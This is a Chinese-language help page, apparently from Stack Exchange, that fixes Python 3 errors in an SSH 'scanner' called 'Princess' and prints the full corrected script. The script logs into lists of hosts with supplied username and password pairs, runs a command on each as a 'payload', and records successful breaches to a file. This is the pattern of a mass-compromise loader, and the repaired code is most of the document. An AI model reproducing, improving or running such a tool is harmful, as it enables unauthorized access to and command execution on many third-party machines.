Python多进程SSH扫描脚本全局变量报错及运行问题求助
SSH批量扫描脚本问题修复指南
问题1:Ubuntu下./Princess执行提示文件未找到
- 确认脚本文件名与命令中的
Princess一致,若文件名是princess.py,需改为./princess.py执行 - 给脚本添加可执行权限:
chmod +x princess.py - 修改shebang行适配Python3:将
#!/usr/bin/python替换为#!/usr/bin/env python3,避免系统默认Python版本不匹配
问题2:python3 princess.py执行时的错误修复
1. 多进程共享变量错误处理
multiprocessing.Value创建的共享变量无法通过global关键字在子进程中直接修改——每个子进程拥有独立地址空间,global仅对当前进程生效。正确方案是将共享变量作为参数传递给子进程:
- 启动进程时,把
CONEXIUNE、TIMEOUT、NOGOOD、PAYLOAD作为参数传入breaching函数 - 删除函数内的
global声明,直接使用传入的参数
2. 语法错误修正
- Python3中
print是函数,所有print语句必须添加括号,比如print("\033[0m...") - Python3中队列模块为
queue.Queue(小写q),修改导入语句为from queue import Queue - 字符串跨换行拼接时,需在换行前添加
\,或用括号包裹整个字符串,避免语法报错 socket.error在Python3中合并到OSError,修改异常捕获为except OSError:- 移除未使用的队列代码(原脚本创建了队列但未实际使用)
修正后的完整脚本
#!/usr/bin/env python3 import sys, multiprocessing, time, socket, paramiko, warnings, re, os, select from os import system from multiprocessing import Value from queue import Queue from sys import stdout paramiko.util.log_to_file("/dev/null") warnings.simplefilter(action="ignore", category=FutureWarning) # 检查命令行参数 if len(sys.argv) != 2: print("Usage: python3 princess.py <targets_file>") sys.exit(1) with open(sys.argv[1], "r") as fd: lines = fd.readlines() cmd="ahhh" system('clear') print("\033[0m\033[2;49;35mHello \033[0m\033[1;49;96mRemake!\033[0m\n") queue_count = 0 for ip in lines: queue_count += 1 stdout.write("\r\033[0m\033[2;49;35m[\033[1;49;96m%d\033[0m\033[2;49;35m] \033[0m\033[1;49;96mAdded to queue for Scanning!\033[0m" % queue_count) stdout.flush() print("\n") print("\033[0m\033[2;49;35mHello \033[0m\033[1;49;96mScan ON!\033[0m\n") # 初始化共享计数变量 CONEXIUNE = Value('i', 0) TIMEOUT = Value('i', 0) NOGOOD = Value('i', 0) PAYLOAD = Value('i', 0) def breaching(infovps, conexiune, timeout, nogood, payload): try: ssh = paramiko.SSHClient() bport = int(infovps[3]) ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(infovps[2], port=bport, username=infovps[0], password=infovps[1], timeout=5) # 重命名避免与sys.stdout冲突 stdin, stdout_ssh, stderr = ssh.exec_command(cmd) time.sleep(10) ssh.close() # 更新Payload计数并写入结果 with payload.get_lock(): payload.value += 1 string = infovps[0]+":"+infovps[1]+":"+infovps[2]+":"+infovps[3]+" - Info - " + \ "".join(stdout_ssh.readlines()).strip() gotline = " ".join(string.splitlines()) with open('Senpai-Princess', 'a') as file: file.write(gotline+"\n") # 更新总扫描计数 with conexiune.get_lock(): conexiune.value += 1 # 打印实时统计 print("\r\033[0m\033[2;49;35mScanned\033[0m\033[1;49;96m: \033[0m\033[1;49;96m[\033[0m\033[2;49;35m%d\033[0m\033[1;49;96m] \033[0m\033[2;49;35mPayloads\033[0m\033[1;49;96m: \033[0m\033[1;49;96m[\033[0m\033[2;49;35m%d\033[0m\033[1;49;96m] \033[0m\033[2;49;35mTimeouts\033[0m\033[1;49;96m: \033[0m\033[1;49;96m[\033[0m\033[2;49;35m%d\033[0m\033[1;49;96m] \033[0m\033[2;49;35mBad Password\033[0m\033[1;49;96m: \033[0m\033[1;49;96m[\033[0m\033[2;49;35m%d\033[0m\033[1;49;96m] \033[0m\033[2;49;35mUser Used\033[0m\033[1;49;96m: \033[0m\033[1;49;96m[\033[0m\033[2;49;35m%s\033[0m\033[1;49;96m]\x1b[0m\r"% (conexiune.value, payload.value, timeout.value, nogood.value, infovps[0]), end='') stdout.flush() return except paramiko.ssh_exception.AuthenticationException: with nogood.get_lock(): nogood.value += 1 with conexiune.get_lock(): conexiune.value += 1 return except OSError: with timeout.get_lock(): timeout.value += 1 with conexiune.get_lock(): conexiune.value += 1 return except Exception: with timeout.get_lock(): timeout.value += 1 with conexiune.get_lock(): conexiune.value += 1 return # 启动进程并等待所有进程完成 processes = [] for line in lines: infovps = line.strip().split(":") # 跳过格式错误的行 if len(infovps) !=4: print(f"Skipping invalid line: {line.strip()}") continue p = multiprocessing.Process(target=breaching, args=(infovps, CONEXIUNE, TIMEOUT, NOGOOD, PAYLOAD)) processes.append(p) p.start() for p in processes: p.join() print("\nScan completed!")
额外优化说明
- 添加命令行参数检查,避免未传入目标文件时崩溃
- 使用
with语句处理文件操作,自动关闭文件防止资源泄漏 - 重命名SSH执行结果的
stdout,避免与系统sys.stdout冲突 - 添加进程等待逻辑,确保所有扫描任务完成后脚本再退出
- 增加无效目标行检查,跳过格式不符合
user:pass:ip:port的条目
内容的提问来源于stack exchange,提问作者Jamal Gains
相关产品推荐
相关产品推荐

